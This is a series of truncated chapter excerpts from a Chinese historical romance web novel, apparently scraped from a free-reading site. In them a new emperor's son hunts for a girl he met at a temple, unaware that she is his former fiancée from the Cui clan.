“堪比马尿,难道五郎还喝过马尿不成?”
燕钰怒瞪了李茂一眼,没好气道:“只是打个比方,你才喝过马尿!”
说完,又扭头去盯着那小沙弥,燕钰甚至要以为寺里故意整他了。
实际上,南华寺多少有些那等意思,不过方式却是光明正大的。
小沙弥仿佛见惯了这等场面,继续微笑有礼回话:“回施主,这碗汤茶是由葱、姜、枣、橘皮、茱萸、薄荷、酥酪熬煮而成,气味多样,提神十分有效,这是我们寺里唯一能为施主解忧的。”
看着小沙弥进退有度、神色温和的姿态,燕钰倒不好将人怎样了。
“再拿碗水来我压压。”
看着小沙弥神色如常地将地上的碎瓷片捡走,燕钰实在受不了这个味,要了碗水。
嫌弃虽嫌弃,但只是须臾间,那股霸道的酒意确实被压下去了许多,燕钰压下口中苦涩,起身就要去寻人。
不想这时候李家六郎神色匆忙地赶来了。
“二兄,弟弟可算是找到你了,快随我归家去,二嫂提前发动了!”
那是个模样俊秀的少年,因为年纪尚小,脸上还带着些许婴儿肥,看着有些可爱。
此刻因为寻兄长,急急忙忙地在南华寺奔走了许久,他一张俊秀小脸满是红润,额上还带着几许薄汗。
李茂看热闹的心顿时便没了,脸色先惊后喜,也不敢耽搁了,扭头就要走,但想起还有个燕钰
“你不必说,自是嫂子分娩,你便快回去,我好多了,待会跟我阿母会合,自是有仆从。”
听燕钰这话,李茂再没了顾虑,喜气洋洋随着六弟回去了。
燕钰在后面看着跑得飞快,甚至还摔了一跤的李茂,诧异的同时又有些嫌弃。
大丈夫怎能如此失态,他日后才不会这般没出息。
然不管燕钰如何在心里笑话他,李茂此刻就跟打了鸡血一般,火急火燎地蹿出去,甚至将马都骑错了。
“二兄,你骑的是我的马!”
李六郎李蕴,眼睁睁看着自家二兄一脸焦灼地将自己的马儿骑走,将自己的马孤零零丢在一边,神色一言难尽。
“那你就骑我的马回去!”
李茂干脆利落地留了一句话,随着风送到了李蕴耳中。
“好吧。”
李蕴小小叹了口气,自言自语地应了一声,就要往二兄拴马的地方走去。
春日的风总是带着淡淡的青草香气,隐约还有几缕花香。
李蕴知晓南华寺有一处桃林,但没想到能飘这么远。
但这个猜想很快便被打破了,因为就在此时,一个身着粉青色直裾裙的年轻女郎扶着一个妇人经过他身边,似乎是因着自己站得近,还被女郎无意间扫了一眼。
只那一眼,李蕴觉得自己便被拖进了一条潺潺流动的春溪中,再不能自拔。
他惊叹于对方的美好清澈,又沉溺于那仅仅只是无意间的一瞥,令他身心躁动。
《诗经》有云:窈窕淑女,君子好逑。
曾经的李蕴,怀着无限的憧憬品读这一句,也曾设想过日后自己的新妇会是何种模样。
如今,一切都已分明了。
李蕴一双眼眸完全倒映着女郎远去的袅娜背影,浑身像爬满了蚂蚁一样,想冲上去追那女郎,让那双春水般的双眸看着自己,认识自己。
但他凭何去搭话?
李蕴本就不是什么能言善辩的外放儿郎,尤其还是碰上这般女郎,他不胆怯都算是好的了。
看着女郎即将随着母亲上犊车,李蕴本以为自己这回只能望洋兴叹,却不想老
11. 相逢不识
《退婚后夫家称帝了》全本免费阅读
“燕五兄,不,是齐王。”
李蕴此刻听着燕钰的声音如何能不惊吓,就在前一刻,自己还在觊觎人家的前未婚妻,这要是被发现了他当真是百口莫辩。
就当什么都没发生过吧,李蕴心惊胆颤地想着。
“小六勿要如此客气,你阿姊是我阿嫂,都是一家人,还像以前称呼我即可。”
察觉到李蕴言语中的生疏,言语蹙了蹙眉头,话语大方且亲近。
陪着阿母卢皇后从寺院中出来,燕钰一双眼睛伶俐极了,只是须臾间便将四周扫了个遍。
尤其是再看到青色裙袍的女郎时候,目光都会多黏几息,直到看到那是一张陌生的脸,才灰心作罢。
一连看了十来个,都不是燕钰所期盼的,燕钰心绪浮躁起来了。
李蕴见燕钰模样怪异,心中好奇,随口问道:“燕五兄在找什么?”
对于燕钰来说,这不是什么可藏着掖着的,甚至他马上就要同阿父阿母言说他今日得遇心仪之人的情况。
听到李蕴询问,燕钰暂时抛却了烦躁,眉目舒展道:“今日你阿兄我遇上了一个喜欢的女郎,不过没留住,正找着呢。”
一边说着,燕钰不忘继续观察从南华寺出来的青色衣裙的年轻女郎,鹰目环视,不放过任何一个。
先前他在寺院内解酒后,在女眷几乎都会过来的大雄宝殿蹲守了许久,但除了拜完佛的阿母之外,在没有别人。
他想着是不是人已经出来了,燕钰的记忆突然被唤醒,记起了当时女郎说的话。
她就要归家了。
在不耽搁,燕钰甚至先了阿母一步出来了,如鹰一般巡视着这片天地。
李蕴压根没将这女郎往崔氏女身上想,毕竟这事听着太过匪夷所思,他潜意识便没往上靠,只看着燕钰专心致志的模样,也不好搅扰,去犊车那里同皇后殿下问安告别,便骑着二兄的马匆匆离去了。
今日得了一场空欢喜,他要回去同阿母诉苦一番。
燕钰久久未寻得人,空耗着的模样也引起了卢皇后的注意,她招手将幼子唤过来,问其原因。
“我儿怎的还不走,在这找什么呢,莫不是东西丢了?”
燕钰没想着隐瞒阿母,但此刻三言两语解释不清楚,便大致说了个情况道:“阿母不知,我在寺里瞧见个让我欢喜的女郎,但是一不小心将人吓跑了,现在想着留下找找,阿母可否先行一步?”
一听这话,卢皇后眼睛都放光了。
为人父母,就是想看着子女成家,婚姻美满,眼下长女和长子都成家生子,瞧着都十分如意,只剩下这个幼子,
本来有着与崔氏的婚姻,但经过那般变故,婚事便飞了,卢皇后正愁着,却忽然听到儿子有了喜欢的女郎,这简直是个天大的好消息。
这南华寺当真是灵验,回去定要为佛祖重塑金身才是,还有香火钱也不能忘!
但同时,她也为彻底放下崔氏女而生出一丝淡淡的惋惜。
那女郎她怎么瞧便怎么喜欢,可惜就是没缘分。
但这些都没有儿子的欢喜重要,儿子喜欢的女郎,定然极好,她自然也喜欢。
“当真是妙极,可曾问出是何家女郎,我明日便将人召进宫瞧瞧。”
问到这个点上,燕钰尴尬地挠了挠头,臊得满脸通红嘟囔道:“都说了没留住人,才要在这里蹲守,阿母就别问了,快回去吧,待儿子寻到了人一定带回去给阿母瞧。”
卢皇后听这话,不免联想到了一些不好的事。
能将人家女郎吓跑了,定然是幼子又做了什么不稳妥的事,她深深为幼子日后的路担忧。
“那阿母先行回去,你也不要耽搁太久,许是那女郎早就回去了,你在这都是白等。”
燕钰应了一声,神色依旧专注地在周围青色裙袍的女郎身上徘徊,确实一次次失望。
卢皇后犊车渐渐远行,独剩下燕钰一人还在锲而不舍地寻觅着。
燕钰眸光流转间,忽地瞥见一个有些眼熟的面孔,那是一个身形高大冷峻的年轻男子,如果燕钰没记错,那是破城那夜,站在崔砚身后的年轻人之一,同样带着莫名敌意的目光,让燕钰一眼便认出来了。
燕钰知道,崔家还有个养子,出身庶族,因为父母恩情被崔家收养,一跃到了士族阶层,原本在廷尉当差,但因为阿父登基后便随着崔氏一同卸了职,怕是如今对他家多有怨恨吧。
不过燕钰才不会将他放在眼里,碾死这样一个人,犹如碾死一只蚂蚁,他闲的没事才会有闲心去碾死一只路过的蚂蚁。
目光再流转,燕钰看见了那驾带着崔氏家徽的犊车,然他只是虚虚扫了一眼,再不屑去看一眼。
燕钰第一次无比庆幸崔氏半路折返了,正好给他的心仪之人腾位置。
果然是老天爷眷顾,燕钰这样想着,心情愈发畅快,比打了一场胜仗还要畅快。
燕钰顿时恢复了精神,继续寻觅着周围女郎,也不在乎旁人如何瞧他。
然时间随着一次次失望持续流逝着,直到南华寺山门处再没有一驾犊车,只剩下燕钰一人一马,他泄气般地坐在了地上,神色萎靡。
这样的情况,明显着人家已经归家了,他在这便是白费功夫罢了。
既如此,燕钰走到他的爱马赤玉跟前,抚了两下,就要上马。
但地上被其他游人行走时晃下来的桃花瓣提醒了燕钰一些事情,他顿时松开了马,狂奔到南华寺的桃林处。
找到当时挨了一掌的地方,燕钰看见了那几支熟悉的桃花枝,回忆了一下当时哪支是自青色裙袍的女郎怀中掉的,将最左边那簇捡了起来,宝贝似的抱在了怀中离去了。
燕钰想着,他总不能空着手回去,这是她的桃花,也算是个盼头。
回到皇宫时,燕钰先是回了自己的飞羽殿,将带回来的那株桃花好生让懂得侍弄花草的宫人养起来,才去了阿母的长春宫。
刚巧赶上阿母刚开饭,正巧阿父也在,两人皆是喜气洋洋的模样,一看便知是是阿母没管住嘴。
看见燕钰回来,元宁帝眼睛立即就亮了,叫宫人多添了一份碗筷,追问道:“少瑜回来了,快坐下用饭,顺便告诉阿父,那女郎是谁家的?”
不说这个还好,一说起这个伤心事,燕钰一张脸便拉得老长,没急着应答,狠狠扒了一口饭。
元宁帝身为男子,性子比之卢皇后要粗些,没意识到什么,还兴冲冲地追问。
“怎么还拉着个驴脸,究竟是找没
12. 众里寻她
《退婚后夫家称帝了》全本免费阅读
燕钰这一副干劲十足的模样让元宁帝和卢皇后瞧了既好笑又心安。
好小子,终于知道为自己的人生大事上心了,真不容易。
二人想着,既然儿子那么喜欢,只要那小女郎是个品性好的,门第低些也无所谓,他们可不是那等因为门第不够相配而棒打鸳鸯的父母。
“少瑜可是想好了,认定了那女郎?”
卢皇后还是存着些忧虑的,只不过见了一面,便这般行径,就怕是心血来潮,日后若是悔了就来不及了。
燕钰头也不抬,只囫囵说了句话:“一眼足矣。”
卢皇后惊于其话语中的坚定,不由有些散了思绪,开始絮叨了一些别的。
“如此最好,也不觉失了崔氏这门亲事而觉得遗憾了。”
“今日也是巧,妾在南华寺碰见了那位崔家女郎,当真是个如美玉明珠一般的存在,心下竟觉得这等女郎不入我家们倒是十分可惜。”
老夫老妻了二十载,加上又是私下一家人一处,卢皇后说起这些事来自不用避讳什么。
燕钰觉得跟自己没有关系,丝毫不理会,只一边用饭一边在脑中回忆在南华寺桃林处的初遇,自娱自乐。
元宁帝自知妻子是在跟自己叙话,不由想起那崔砚坚定又不知好歹的姿态,有些气恼道:“哼,任他崔氏女再好,可惜他们家没那福分,老天爷都不牵线了。”
话题不知不觉引到了旧时上,这让卢皇后也提了兴趣,眉眼带笑同父子两说着那桩逗趣的往事。
“遥想当年,我们少瑜才五岁,在先帝的七十大寿上,他瞧见了崔家女郎,那时候崔家女郎才三岁,跟着她阿母荀夫人过来,长得粉嫩可爱,被少瑜瞧见了,当场就凑过去抱人家,还要将人带回去做自己家的妹妹,可将荀夫人吓坏了,也正是这场闹剧,先帝瞧见了,觉得两个孩子登对,当场便给两个孩子赐了婚,陛下也同崔公把酒言欢了好半晌呢。”
提起往事,元宁帝也唏嘘了一会,突然软了心肠。
“崔砚此人身心磊落清正,如他的字,子端,别无二致,做人端方明正,是个安邦治国的大才,换到他的角度,当时做出那样的选择也不奇怪,毕竟他崔氏仍是洛阳天子臣,而我们对他来说只是一个不知前途的反臣,他若是站在了我们这边,才是奇怪。”
静心了许多天,元宁帝去了大半的火气,又听了一耳朵往事,心中早已想通。
或者说元宁帝一直是心中有数的,所以才没有同崔家计较,甚至还想着崔砚能识趣过来软个身段。
可惜这人还是没领会到自己的意思,或许明白了但坚守着自己的品格,不去做那等奴颜谄媚的事。
“崔砚这样的人,为白身回到清河也是浪费,不如让他在清河也给咱们的大晋做些事。”
说到此处,元宁帝顿了一下,紧接着传了常侍田樊进来。
“去到崔家颁一道旨,那清河郡太守的位置,便给崔砚吧。”
田樊不动声色地应下,退出了长春宫,笑盈盈拿着刚拟好的诏书去了崔家。
彼时,令仪正同阿父再给晒在外头的一大堆书简翻面,忙得不亦乐乎。
家中奴仆倒是很多,但大多是不通文墨的,而这一册册的书册简牍又容易混淆,非得通晓诗书的人来照料才最妥帖,因而这次晒书,崔家人几乎全上阵了。
还有几日就要回动身了,必须要保证这些珍贵的书简在晒好才是。
无论是崔氏还是王氏,亦或者是谢氏郑氏这样拥有举世瞩目名望的世家门阀来说,他们的尊贵不止来源于三公九卿的官位,更来源于世代相传的家风和典籍书册。
这不是个人人都能读书识字的时代,书籍文化都大多藏在世家大族一代又一代的传承中,百十年积攒的威望与德行,造就了一个个门阀世家。
令仪闲来无事,随着阿父和兄长一道侍弄这些珍贵的书册,沐浴着春日暖洋洋的日光,也觉得静谧美好。
田常侍来的时候,一家人都很诧异,待那诏书宣读完了之后,一家人更诧异了。
令仪觉得,如今的陛下当今是个仁厚的。
但一想到废帝的结局,令仪又觉得好似不是这样。
破城后的的第三日,凉州骑便在襄阳将废帝擒了回来,听说还是她那位前未婚夫亲自去逮的人。
众所周知,新帝即位,还是以这样的手段问鼎天下,自然是不能留着上一个了。
因而,在一个再普通不过的春夜里,废帝暴毙,被追谥为“僖”。
对于此事,百姓心中最多是唏嘘几句,便再没有别的了,更多的是满心期盼着新皇帝可有带领他们过上更好的生活。
崔家人礼仪周至地跪接了圣旨,崔砚和声和气地将人送出了门。
令仪在一旁看着,总觉得那内侍欲言又止的,像是有什么重要的话同阿父说,但最终还是没有开口。
临走前,令仪似乎看到他看了自己一眼,露出惋惜的神色。
令仪大概知道他在惋惜什么,因为近来她总是能看见这样的目光。
不就是当不了皇家新妇了吗?
有什么大不了的,那燕家五郎还不一定适合当她的郎婿呢。
令仪这般豁达的心态,倒是像极了阿父,不为任何困境消沉。
阿父从小便教导她们,做人要如一棵松柏,无论身处何种境遇,与什么样的人生活,都要坚守己心,为着自己而活。
不将自己一颗心放在别人身上,便永远不会变成他人的附庸。
要如松柏,四季常青。
这么些年,令仪一直坚守着,在未来的日子,依然会坚守。
因而,令仪并不觉得失去一个金尊玉贵的郎婿而觉得天塌地陷,反而有些庆幸可以自主选择自己未来的郎婿。
崔家人接完诏书后,又恢复成了先前的模样,继续去为家中的书简而忙碌。
当然,像是搬运一堆堆沉重的简牍都不是令仪这等柔弱些的女郎来做的,自有兄长和义兄来做。
13. 三公主
《退婚后夫家称帝了》全本免费阅读
转眼又是三日过去,这三日,燕钰仍旧是一无所获。
他不明白,究竟是他运气不好碰不到人,还是小桃花压根不出门,甚至燕钰都要以为小桃花住在城外了。
压不住这种猜测,燕钰真的去城门外守了一日,结果不出意料,一无所获。
燕钰无数次想,若不是他床头还还摆着那株即将凋零的桃花,他都要以为那日在南华寺是他酒饮醉了做的一个春意无边的梦。
眼看着他带回来的桃花凋零得只剩下枝干,皇宫中最擅长侍弄花草的宫人也一脸颓败地看着自己,燕钰满心挫败。
正当自己犹豫着要不要采取阿父那个拿不上台面的法子,用金吾卫一家一家地找时,长兄邀他出去透透气。
这是个很少见的情况,长兄为人端肃内敛,一惯是个为政事夙兴夜寐的性子,能主动邀他出去,燕钰自然也不会拒绝,当下便应了。
兴许出去转转就将人找到了呢。
这样想着,燕钰策马出了皇宫,往与长兄约好的酒楼去。
……
为书册简牍忙碌了一日,这一夜令仪睡得很安稳,翌日起来神清气爽。
许是与郑家六娘心有灵犀,令仪刚在心中想着今日把打好的玉镯送于她,郑家的帖子便送来了。
毕竟她即将随着家人北迁,等不到三月十八亲手将生辰礼送于她了,只能眼下这几天送出去了。
一身浅碧色的直裾裙,腰间大带勾勒出纤细窈窕的腰肢,温润的莲花坠子随着优雅娴静的步伐在腰侧轻晃,发髻上仍旧是简单素雅但不失气度的玉饰。
令仪应邀前往同郑谙约好的望月楼,不同于它对面的醉仙楼,望月楼以佳肴出名,不似那醉仙楼,以酒色出名,是洛阳城那些风流子弟最喜欢光临的地方。
女郎家家的,自然首先选择望月楼。
义兄见她出门,又想送她,被令仪拒绝了。
又不是什么乱七八糟的地方,洛阳城里,她崔氏也不是什么嫌犯,顶多受些异样的眼神,也没什么。
笑吟吟地阻了义兄的关心,令仪带着些随从乘犊车往望月楼去了。
本以为这次应邀该是一帆风顺的事,令仪没想到在望月楼门口还能碰上找茬的。
听到车夫说望月楼到了,找个车位停好便可下车,令仪将装着羊脂玉手镯的匣子拿出来,刚动了动身子,便听到了外头的动静。
“这是我们公主相中的车位,你们换一处!”
隔着车门,令仪听到了外头一个貌似是婢女嚣张跋扈的话语,虽然没有得到验证,但令仪直觉是冲着她来的。
望月楼三楼雅间,燕钰和一个眉目儒雅温和的郎君临窗而坐,似乎是注意到了下方的骚乱,低头咦了一声。
“下头的,好像是三妹的车架,她又在折腾什么幺蛾子?”
眉目儒雅的郎君第一个认出了下面的车架是自家妹妹的,眉头蹙着,话语满是不赞同。
三妹在家年纪最小,性子不似长姊,虽张扬纵情,但通情达理,也不似二妹,温和敦厚,是独一无二的骄纵跋扈。
但寻常也不过是小女郎的任性矫情,倒不会像眼下这般故意去欺凌旁人。
有点古怪。
燕铭带着疑惑去瞧了眼,立即看到了三妹对面犊车上的家徽,瞬间就明白了缘由。
那是崔氏的家徽,三妹此举意图找人家的麻烦。
“三妹这是在为难崔氏女,还是当着洛阳百姓的面,不妥,不妥。”
“崔氏在洛阳十分得民心,风评极佳,三妹如此行径,定然会让洛阳百姓觉得三妹仗势欺人,得管管才是。”
“阿父刚将清河郡给了归乡的崔公,心中定不是多么嫌恶,三妹此举是给阿父抹黑,万万使不得!”
面对太子燕铭的一番凛然言辞,燕钰则是毫不关心,他只懒散地翘着二郎腿,百无聊赖地品着桌上轻淡的茶水,时不时将目光放在车马熙熙攘攘的大街上,目光不住寻觅。
经过了南华寺的教训,燕钰再不敢在此等时候饮酒,生怕再像上一次那般坏了大事。
一朝被蛇咬,十年怕井绳,便是燕钰如今的心态了。
听着长兄的话,燕钰也顺带瞅了一眼下方的情形,嗤笑道:“想当初崔氏让我们全家空等,更是使得我不能立即跟着阿父征战,落了我家好大一个脸,三妹脾气烈些,自然要计较些,她若是不打这个头阵,家中怕是没人给崔氏点颜色瞧瞧了,这样想也挺好,至少能让崔氏知道我们家也不是好惹的。”
“反正如今崔氏不再是我未来新妇,我可不会怜香惜玉,阿兄要管自己管去。”
燕钰此刻将自己的漠然十足展现了出来,一副事不关己的袖手旁观模样。
燕铭看着弟弟冷硬的姿态,倒是可以理解。
本就是指腹为婚,除了小时候还是小娃娃的时候见过一面,十多年便再无机会培养感情,如今又出了那等公然站队的事,弟弟想来是个爱憎分明又强烈的人,有这样的反应不足为奇。
想着这事也只能自己插手让三妹停手了,燕铭刚唤来仆从,想要让他下去给三妹传话,燕铭话还没说完,余光就瞥见崔家的犊车让出了位置,一副谦卑的姿态。
望月楼下,令仪得知是如今三公主燕长宁的车架,短暂的思忖后便做出了这样的抉择。
“鹿鸣,让张叔将位置让出来吧,你去我与六娘约好的雅间传个话,说换醉仙楼碰面。”
面对自家女郎的退让,鹿鸣很是难过,若是放在以往,凭借他家家主的威望,宫里头的公主和皇子都要礼遇她们女郎,哪像如今,被当着如此多百姓的面公然挑衅到头上。
女郎心宽沉静,但从鹿鸣的角度,她难免心疼。
“鹿鸣,听话,别乱来。”
觉察出鹿鸣的情绪,令仪肃着脸色柔声安抚着,里头的威严不容置喙。
眼看着就要回清河了,她不能让崔氏行差踏错。
鹿鸣也不是个不懂事的,将满腹不甘压了下去,吩咐车夫张叔退出去,自己
14. 韩王
《退婚后夫家称帝了》全本免费阅读
伙计一看,心知自己的闯了大祸,忙点头哈腰赔礼。
“对不住贵人,小的不是有意的,还请贵人宽宥。”
小伙计吓得不轻,连声告罪,就差跪地求饶了。
燕钰此刻本就心急如焚,还被泼了一身热羹,脏了衣衫,他气不打一处来。
然眼下有更重要的事,况且这小伙计他揪着也没意义,想着换身衣裳也来不及了,便想拿个东西先行擦一擦身上,等办完了事再说。
目光首先落在了小伙计搭在肩上的汗巾,燕钰嫌弃地扭过头,干脆将小伙计的衣裳扯过来擦了两下,确保身上的没有小米和肉沫,才一脸晦气地离开。
“没空跟你计较,滚吧。”
看着贵人急匆匆离开的背影,小伙计长吁了一口气,丝毫不在意身上的衣裳被擦脏了,立即手脚勤快地收拾着眼前的狼藉。
雅间里,燕铭一脸愕然地望着弟弟的背影,直到将那个“她”字反应过来,才心中了然。
如今家里差不多都对五郎的事知道个七八分,四弟那看热闹不嫌事大的,甚至还专门跑去看了眼五郎殿里宝贝着的桃花。
就是嘴贱说了一句“这桃花都败了,五弟还没寻到人啊?”,被五郎连推带打地轰了出去。
如今竟然有了眉目,虽然有些猝不及防,燕铭还是为自家弟弟高兴的。
他悠哉地品着茶,等着弟弟归来。
也正是在楼道里耽搁的那一阵,息事宁人的令仪进了望月楼对面的醉仙楼,出了犊车后一番温婉平和的见礼让本想找事的三公主燕长宁也看得没了气焰。
崔氏女这容貌气度,又是这番姿态,她当真是有些欺负不起来了。
算了,还是去上面寻二位兄长吧。
闹剧散了,燕钰火急火燎下来的时候,只碰到了刚找完茬的三公主燕长宁。
“哎,五兄这是去哪?”
燕长宁想着向阿父索要春晖园,但那园子特殊些,燕长宁怕阿父不肯给,便想找五兄去给她说说情。
五兄最受阿父偏疼宠溺,性子又不似太子阿兄端肃,说不定会应下她,为了说服五兄,燕长宁可是搜罗了洛阳城最顶尖的美酒。
然只是打了一个照面五兄就走了,她岂不是白来了?
“去寻人!”
仍是这句话,燕长宁现在恨不得这人能自己出来,何苦让五兄这般寻不着人,日日还被一根胡萝卜吊着。
五兄不在,燕长宁也不能白来一趟,何况待会五兄大抵还会回来,她念此,去了三楼兄长的雅间。
而另一边的醉仙楼,一进去,便是轻柔糜艳的丝竹之声,空气中也满是酒色之气。
不同于望月楼的典雅清丽,醉仙楼精巧奢靡,处处都是贵人喜欢的绮丽豪奢。
令仪一进去,便引来了无数看客的目光,尤其是许多年轻的郎君,纷纷认出了这是崔家娘子,欲上前搭话,但又迟疑良久。
醉仙楼以美酒和美人出名,空气中都飘荡着一股浓烈的酒气,对于此,爱酒的客人则会享受喜爱,然像令仪这等不善饮酒的,倒不是很喜欢了。
一楼的大堂中有许多乐伎和舞女,她们身着颜色鲜艳华丽的舞裙,如飞天神女一般在乐曲下翩翩起舞,美丽又惹眼,十分对那些世家儿郎的胃口。
令仪对这等布置平平无感,更是不喜欢往热闹堆里扎,忙要了个雅间上去了。
很快,鹿鸣将郑家六娘郑谙带过来了。
一路上,郑谙早从鹿鸣那里知道了先前发生的事,知晓了为何临时令仪换了地方,心中只觉心疼。
崔氏先前是何等风光,崔公位列三公,又任尚书令,满朝上下无人敢不敬,纵然是跋扈如废后陈氏都不敢公然冒犯挑衅,如今倒好了,出门都得被欺辱一下。
郑谙都是一路苦着脸过来的,倒是让令仪见了笑了好一会。
郑家六娘郑谙是个秀丽白皙的长相,性子温和敦厚,和令仪脾气相投,两人七岁那年便在上巳节洛水边认识了,成了手帕交。
此番郑谙唉声叹气地进来,见令仪还笑得出来,脱了鞋子往令仪对面的坐榻上落座,双腿盘着,姿态随意。
此处只有关系亲密的姐妹两,郑谙坐姿便随意了许多,不再像在外人面前那般跽坐。
见令仪还维持着端庄的坐姿,郑谙打趣道:“腿不累?只剩下我们自己人了,想怎样便怎样呗。”
令仪慢悠悠地沏茶,等到郑谙坐下时,刚好卡上时辰,令仪顺势转换了坐姿,也同郑谙一样盘着腿坐下,还将凭几扯过来靠着。
因为没打算久留,两人都没有点菜,只是要了几碟糕点,配着清茶正好。
令仪拿出了今日的主角,那副她打好的玉镯子,温润细腻,花样精巧,一看便知是个贵重又有心意的礼物。
郑谙知晓自己的生辰好友定不会忘记,但想着这可能是好友能亲自将礼物交予她的最后一个年头了,念此不免悲从中来。
“真是天意弄人,崔公那样清正的好官,若是能继续留任,则是我大晋百姓千秋万代的福祉,如今因为这般不可捉摸之事失了官职,而阿鸾这样好的女郎也失了好郎婿,只能回清河度日,真是老天爷不公。”
郑谙作为旁观者,不仅为崔家惋惜,也为方才发生的事情愤慨。
“那三公主当真是欺人太甚,她今日明摆着就是来欺辱你的,你竟如此好性,说让就让了,要是我、要是我……”
说到关键点上,郑谙半晌也没说出个所以然来,只觉气闷。
令仪眉眼弯弯,轻笑着说起今日的闹剧。
“其实也不是什么难以忍受的事,你想想,我当初半路折返,定是让她们家落了脸,三公主心中记恨些也正常,毕竟她脾气烈些,你看大公主和二公主就不会做出这样的事。”
女郎笑颜如花,似只是在说一件趣事,而非方才那令自己窘迫的欺辱。
郑谙心疼的同时又感叹道:“阿鸾果真如伯母说得那般心宽,这样倒也不错,不会为世事所累。”
听郑谙这般说,令仪面上浮起淡而复杂的笑,玩笑道:“不心宽又能如何,如今我崔家地位敏感,正是地位一落千丈之时,三公主又是什么身份地位,难道要我在此刻为了个无足轻重的车位和她当街争辩?这样太过失礼,也见笑于众人,想想还是算了。”
“唉……”
一条一条的,理由充分地让郑谙说不出什么来,千言万语只化作了一声长叹
15. 祸水
《退婚后夫家称帝了》全本免费阅读
良久,燕锦才平复下心情,喉咙艰涩道:“你便是崔氏长女,我那个前未来弟妹?”
燕锦向来不是个嘴巴严谨的,惊愕之下,将一些让人尴尬的往事也说了出来,害得令仪猝不及防地窘了一下。
“韩王慎言,都是过去的事了,如今只有将归故里的崔氏长女。”
令仪拧着眉头将话强调了一遍,再不想听韩王这些乱七八糟的话了。
燕锦怎么看怎么觉得眼前女郎赏心悦目,就连肃着脸时都别有一番风味,他忍不住长叹了一声,让开了身子,嘟囔道:“老五是个没福气的,我也是个没福气的。”
这样美妙的女郎,他也只能现在看两眼了。
令仪也不在意韩王嘴里嘟囔着的惋惜之语,拉着郑谙轻巧地越了过去,背影急匆匆地走了。
今天倒是热闹,接二连三地撞见燕家人,运气有些不好。
和郑谙依依惜别后,令仪乘着犊车往家里赶。
老牛刚行了几步路,犊车迎面同在大街上苦寻了半晌的燕钰擦身而过,车内外两人再度相错。
耳畔传来老牛蹄声,然燕钰丝毫没将注意力分出去一点,他还在不死心地寻找。
“这不可能!”
他分明在附近听到了那道声音,就算离开了应当也走不远。
燕钰几乎将整条大街都找遍了,各色女郎会看的,不会看的铺子也都进去一一看了,可终究是一无所获。
恰逢这时候,燕锦在对面醉仙楼靠窗的雅间瞧见了对面的长兄,也看见了底下无头苍蝇一般的五弟,直接下去拽着燕钰一起去望月楼了。
“呦,三妹也在呢,今日可这是巧,都跑一处来了,干脆就一起喝酒,我知望月楼的酒不如醉仙楼,我便带了些过来。”
“来,五弟,别丧气了,都不像你了,听说金吾卫这几日都说你是死人脸,喝几口,保证烦恼全消。”
许是也有些自暴自弃了,燕钰囫囵往茵席上一摊,接过燕锦手中的酒大口灌了起来,也不在乎酒液溢出唇瓣,流到领口脖子上,湿濡了一大片衣襟。
燕长宁见四兄是从醉仙楼出来的,想到方才崔家女也是进了醉仙楼,便压着些声音好奇道:“四兄四兄,你方才在醉仙楼碰到那个、那个崔家女了吗?”
一说起这个,燕锦便来劲了,又是兴奋又是萎靡,跟凑过来的三妹唏嘘道:“自然是碰着了,该说不说,崔家女当真是俊俏,五弟你真是没福气,我敢说,她定然比你那什么桃花女郎更好!”
“哎,我也是没福气的,只能看看了。”
这桩婚事的结束不太体面,别说洛阳旁的人家不敢娶崔氏,他们当兄弟的更是不敢触这个霉头,迎娶跟自己家有过龃龉的前未来弟妹,这说出去多不好听,阿父定然要打断他的腿。
燕钰原本还在麻木地灌着酒,听到燕锦竟敢说那个崔氏女比他的小桃花好,他不服气了。
“你少放屁,谁都没法跟她比,等我寻到了,我定要你开开眼界!”
纵然作为兄弟一同生活了许多年,燕铭有时候还是会被弟弟颇为粗鲁的话给无奈到。
想说弟弟两句,但话到了嘴边又觉得没意义,终是放弃了。
燕长宁也被四兄勾起了些话,在一旁附和道:“五兄,四兄的话不赖,我方才瞧见了,那模样那气度,还是个软绵绵的好性儿,弄得我都不好意思找茬了。”
燕锦当时虽然就在对面,但当时正在听曲,大约是噼啪声太大,将下面得热闹盖了去,不知道崔氏女被为难的事。
此番听了三妹三言两语说了一遍,不觉生了些怜香惜玉的心思。
“你说你,欺负人家崔家娘子作甚,柔柔弱弱的,当时一定可怜极了。”
一家人多年,几乎都知根知底的,也习惯了燕锦这般怜惜美人的性子,也没人去搭理他。
燕铭性格沉稳,本就话少,燕钰倒是平素话多热闹,但此刻消沉如一团烂泥,只会喝酒,便只剩下燕锦这个怜香惜玉的嘴。
燕长宁本想让四兄叭叭的嘴闭上,但听他说着说着,话题引到了一个有趣的处来,燕长宁开始津津有味起来。
“大兄,五弟,三妹,你们有没有听到离宫那边传来的消息?”
在场几人一听,反应各异。
燕铭这个太子整日随着元宁帝接触政务密报,什么都知晓,自不会露出什么诧异。
燕钰整个人正处在一种对万事都漠不关心的状态,神色冷漠不予理会。
除了燕长宁这个什么都不知道又什么都好奇的上来追问,便再没有别的了。
但仅有燕长宁一人,对于燕锦这张想要叭叭的嘴,也足够了。
“四弟慎言。”
燕铭作为储君,最是持重沉稳,语重心长地说了句。
燕锦则嬉皮笑脸道:“大兄勿要这般严肃,都是自家人,况且也不是什么大事,咱们只一家人说个热闹,又不往外头说,怕什么?”
想来是这番话燕铭也觉得有几分道理,便不再发话,燕锦这才继续说下去。
“我听说,前日离宫那边传来了信件,是那位堂兄写得,说是自知时日无多,想要允准阿父在他去了前让他见一见崔家大娘子……”
不理会燕长宁惊愕似想要说话的反应,燕锦继续道:“我一听这个消息,当下便找了宫里的老人过来打听,果然,说是咱们这位堂兄打小便爱慕崔家女,只是一直苦于崔家女与我家有婚约,这不,去岁人家一回来,便央他阿母求娶崔家女,准备赢了之后就册封人家当储妃呢。”
这事虽然对于洛阳权贵阶级不是什么大秘密,但对于从凉州来的燕家人却是一个顶顶新鲜的事。
燕长宁听了这么大一个乐子,刚想说两句,就被一旁一直沉默饮酒的燕钰截了话。
“原是这样,怪不得当初跑得那样快,原来是瞧不上我这个皇孙妃的身份,想当储妃啊,可惜天不遂她崔氏的愿,如今皇孙妃她都不用想了。”
“是个心思贪婪,会招蜂引蝶的。”
语气慵懒又不屑,毫不客气地对着那位与他有过一纸婚约的崔氏女总结评判。
然,先前还对崔氏女找茬的燕长宁反倒过来驳
16. 北迁
《退婚后夫家称帝了》全本免费阅读
二月的最后一日,春风送暖,日光明媚。
怕今早时间不够用,早在昨个晚上,家仆便将需要带走的东西打点好了,只待第二日装车出发。
知晓是在洛阳的最后一顿餐饭,一家人都用得缓慢悠哉,似乎想用心感受这最后的时光。
